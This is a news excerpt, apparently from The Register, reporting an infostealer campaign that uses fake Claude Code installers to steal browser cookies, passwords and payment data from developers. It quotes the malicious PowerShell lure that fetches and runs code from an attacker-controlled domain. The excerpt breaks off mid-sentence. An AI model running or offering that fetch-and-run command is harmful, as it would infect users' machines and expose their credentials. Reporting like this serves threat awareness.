Cookie thieves caught stealing dev secrets
New IElevator2 COM interface? No problem
An ongoing campaign steals developers’ secrets via fake Claude Code installers and other popular coding tools, according to Ontinue’s security researchers.
The lure - as with several other infostealer attackstargeting developers over the past several months - mimics a legitimate one-line installer for an attacker-controlled command. In this case, the command is “irm https[:]//claude[.]ai/install.ps1 | iex”, and the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.
The payload is unique, and doesn’t match up with any documented malware family. It does, however, wreak havoc on developers exfiltrating decrypted cookies, passwords, and payment methods from Chromium-based browsers such as Google Chrome, Microsoft Edge, Brave, Vivaldi, and Opera.
According to the threat hunters who documented the new campaign on Monday: “We publish for peer correlation rather than attribution.”
The attacks also abuses the IElevator2 COM interface. This is Chromium’s elevation service used to...
Copyright of this story solely belongs to theregister.com. To see the full text click HERE
